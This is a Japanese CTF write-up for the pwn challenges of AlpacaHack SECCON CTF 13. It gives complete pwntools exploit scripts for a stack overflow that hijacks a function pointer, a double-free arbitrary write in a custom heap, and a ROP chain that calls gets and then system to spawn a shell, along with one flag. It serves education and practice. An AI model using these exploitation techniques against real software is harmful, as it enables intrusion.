AlpacaHack SECCON CTF 13 決勝観戦CTF

AlpacaHack SECCON CTF 13のpwnについてのwriteupです.

danger of buffer overflow

問題のコードを見ると,getsで標準入力を受け取り,その後bye関数のアドレスが格納された関数ポインタfuncptrが実行されています.

main関数中のgets(buf)には自明なバッファオーバーフローがあります. プログラム内にはフラグの読み出しを行うprint_flag関数が用意されているため,funcptrをこのアドレスに書き換えることで,print_flag関数を実行させることができます.

ソルバーは以下の通りです.

from pwn import *

elf = ELF('./buffer-overflow')
io = process(elf.path)

payload = b'a' * 0x8
payload += p64(elf.symbols['print_flag'])

io.sendlineafter(b'gets to buf: ', payload)
io.interactive()

play with memory

問題のコードの以下に注目します.

  scanf("%4s", &number);

  if (number == 12345) {
    print_flag();
  } else {
    printf("number: %d (0x%x)", number, number);
  }

int型の変数numberが12345と一致するとフラグが獲得できます. しかし,scanfでは%4sと4文字の文字として入力を受け取っているため,そのまま数字を入力してもフラグを獲得することができません. よって,整数として12345になるような文字の入力をします.

12345 = 0x3039であり,0x30と0x39はそれぞれASCIIコードで'0'と'9'を表しているので,これを入力すれば良いです. リトルエンディアンを考慮して,この順番になるように90を入力します.

input your number!: 90
Alpaca{l1ttl3_end1an_1s_qu1t3_h4rd_t0_us3d_t0}

Can U Keep A Secret?

問題のコードを読むと,secretという乱数が定義されており,これと同じ数字を入力するとフラグが獲得できます. secretは以下のように設定されています.

    unsigned int secret = rand(), input;
    printf("secret: %u\n", secret);

    // can u keep a secret??/
    secret *= rand();
    secret *= 0x5EC12E7;

一度secretの値が出力されますが,その後再度乱数と0x5EC12E7をかけています. ここで掛けている乱数がわからなければsecretを特定することができません.

ここで手詰まりになってしまいましたが,デコンパイルしてみるとsecret *= rand()が含まれていないことがわかります.

よって,出力された値に0x5EC12E7を掛けたものがsecretの値となり,これを入力すれば良いです.

以下がソルバーです.

from pwn import *

elf = ELF('./challenge')
io = process(elf.path)

io.recvuntil(b'secret: ')
secret = int(io.recvline().strip())
secret *= 0x5ec12e7

io.sendline(str(secret).encode())

io.interactive()

cache crasher

自前で実装したヒープやtcacheのようなものになっています. このコードの問題点を探していると,まずfree時に何も確認をしておらずdouble-freeが可能です. chunkAをfreeした後に再度freeをすると,cacheリストはchunkAのアドレスを差し続けることになります.

Cache:
0x4051a0 -> 0x4051a0 -> 0x4051a0 -> 0x4051a0 -> 0x4051a0 -> ...

では,この状態でallocすることを考えます.

  if (cache != NULL) {
    res = cache;
    cache = res->next_chunk;
  }

この場合,cacheにchunkが存在しているため,以上のコードでallocが行われます. つまり,chuckAが返され,cacheの先頭は再度chunkAになります.

ここで,その後に入力するdataについて考えます.

union chunk {
  union chunk* next_chunk;
  size_t val;
};

chunkは以上のように共用型で定義されているため,next_chunkとvalは同一のアドレスを共用で利用しています. 仮にvalとして1を入力したとすると,cacheの先頭はchunkAであり,next_chunkのアドレスが1となります.

Cache:
0x4051a0 -> 0x1
Buffer:
buf[0]: 0x4051a0 (val: 0x1)

よって,この状態から2度allocをすると任意のアドレスに書き込みができます. 問題の先頭では,funcptrとprint_flagのアドレスが与えら得ているため,funcptrの中身をprint_flagのアドレスに書き換えることで.print_flagを実行させることができます.

以下がソルバーです.

from pwn import *

elf = ELF('./cache')
io = process(elf.path)

def alloc(val):
    io.sendlineafter(b'opcode(0: alloc, 1: free): ', b'0')
    io.sendline(str(val).encode())
    
def free(ind):
    io.sendlineafter(b'opcode(0: alloc, 1: free): ', b'1')
    io.sendlineafter(b'what index to free: ', str(ind).encode())
    
io.recvuntil(b'address of print_flag: ')
print_flag_address = int(io.recvline().strip(), 16)
io.recvuntil(b'address of funcptr: ')
funcptr_address = int(io.recvline().strip(), 16)

alloc(0x1)
free(0)
free(0)
alloc(funcptr_address)
alloc(0x1)
alloc(print_flag_address)

io.interactive()

Alpaca Wakekko

問題のコードを見ると,'alpaca'の途中までが出力されるので,その続きを入力し続けるようなプログラムになっています.

gets(ans)にはバッファオーバーフローが存在しており,canaryも存在していないことからリターンアドレスの書き換えが可能であることがわかります.

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ここで2点問題があります.

1点目は関数wakekkoを途中で終了させてはならないということです.

    if(strcmp(ans, word + pos) != 0) {
        system("echo ':('\n");
        exit(1);
    }

入力が不適切であると,このif文の内部が実行されてしまいexitでプログラムが終了してしまいます. つまり,この判定を回避して関数を終了させる必要があります.

2点目は,シェルの奪取方法です. system関数はすでに含まれているので,これを利用することができますが,pop rdiのガジェットもなく,'/bin/sh'の文字列も含まれていないため,うまくsystem関数の引数を設定する必要があります.

まずは関数の終了についてです.

スタックの様子を見ると,ansの下にposの値が含まれているため,posを乱数に関係なく自由に設定できます. 設定した値に合わせてansを入力することで正しく判定をクリアすることができます. これでリターンアドレスを奪うことが可能になります.

次に2点目のrdiの設定方法です. ここではgets関数の終了時のrdiに注目します. gets関数の終了時には,rdiに_IO_stdfile_0_lockのアドレスが格納されます.

──────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffe1c0  →  0x0000000061616161 ("aaaa"?)
$rbx   : 0x727af5f2        
$rcx   : 0x00007ffff7f9daa0  →  0x00000000fbad208b
$rdx   : 0x1               
$rsp   : 0x00007fffffffe1c0  →  0x0000000061616161 ("aaaa"?)
$rbp   : 0x00007fffffffe1f0  →  0x00007fffffffe200  →  0x0000000000000001
$rsi   : 0x1               
$rdi   : 0x00007ffff7f9fa80  →  0x0000000000000000

[...]

────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4012de <wakekko+0068>   mov    rdi, rax
     0x4012e1 <wakekko+006b>   mov    eax, 0x0
     0x4012e6 <wakekko+0070>   call   0x401150
 →   0x4012eb <wakekko+0075>   mov    eax, DWORD PTR [rbp-0x1c]
     0x4012ee <wakekko+0078>   movsxd rdx, eax
     0x4012f1 <wakekko+007b>   mov    rax, QWORD PTR [rbp-0x18]
     0x4012f5 <wakekko+007f>   add    rdx, rax
     0x4012f8 <wakekko+0082>   lea    rax, [rbp-0x30]
     0x4012fc <wakekko+0086>   mov    rsi, rdx

[...]

gef➤  x/xg 0x00007ffff7f9fa80
0x7ffff7f9fa80 <_IO_stdfile_0_lock>:    0x0000000000000000

このアドレスは書き込み可能であるため,一度getsを呼び出すことでrdiにIO_stdfile_0_lockのアドレスをセットし,再度getsを呼び出すことでIO_stdfile_0_lockに書き込み,rdiをIO_stdfile_0_lockにすることができます. この後にsystemを実行することで,書き込んだ文字列をsystemに渡すことができます. なお,IO_stdfile_0_lockに書き込まれた文字列は5文字目が1だけデクリメントされるため,/bin/shではなく/bin0shを書き込むことに注意が必要です.

以下がソルバーになります.

from pwn import *

elf = ELF('./challenge')
io = process(elf.path)

ret_addr = 0x40101a
alpaca_str_addr = 0x402004

payload = b'alpaca'
payload += b'\x00' * (0x10 - len(payload)) # 文字列のnull終端が必要
payload += p32(0x0)
payload += p32(0x0)
payload += p64(alpaca_str_addr) # "alpaca"のアドレスをそのままにする
payload += b'a' * 0x18 # オフセット
payload += p64(ret_addr)
payload += p64(elf.sym['gets'])
payload += p64(ret_addr)
payload += p64(elf.sym['gets'])
payload += p64(ret_addr)
payload += p64(elf.sym['system'])

io.sendline(payload)

io.sendline(b'a') #1回目のgetsはrdiのセットなので適当な入力で良い
io.sendline(b'/bin0sh')

io.interactive()